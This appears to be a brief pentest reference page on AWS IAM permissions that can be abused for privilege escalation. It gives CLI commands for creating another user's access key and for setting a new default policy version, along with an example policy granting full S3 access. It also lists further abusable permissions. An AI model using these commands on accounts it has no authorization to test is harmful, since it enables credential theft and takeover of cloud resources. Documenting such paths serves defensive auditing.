Identity Access Management (IAM)
Abusable AWS IAM permissions that can lead to compromise or privilege escalation
iam:CreateAccessKey
aws iam create-access-key --user-name <userName>iam:CreatePolicyVersion and iam:SetDefaultPolicyVersion
aws iam create-policy-version --policy-arn arn:aws:iam::<accountId>:policy/<policyName> --policy-document file://<policyName>.json --set-as-default# example iam policy
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "s3:*",
"Resource": "*"
}
]
}iam:SetExistingDefaultPolicyVersion
iam:AttachUserPolicy
iam:UpdateAssumeRolePolicy
Last updated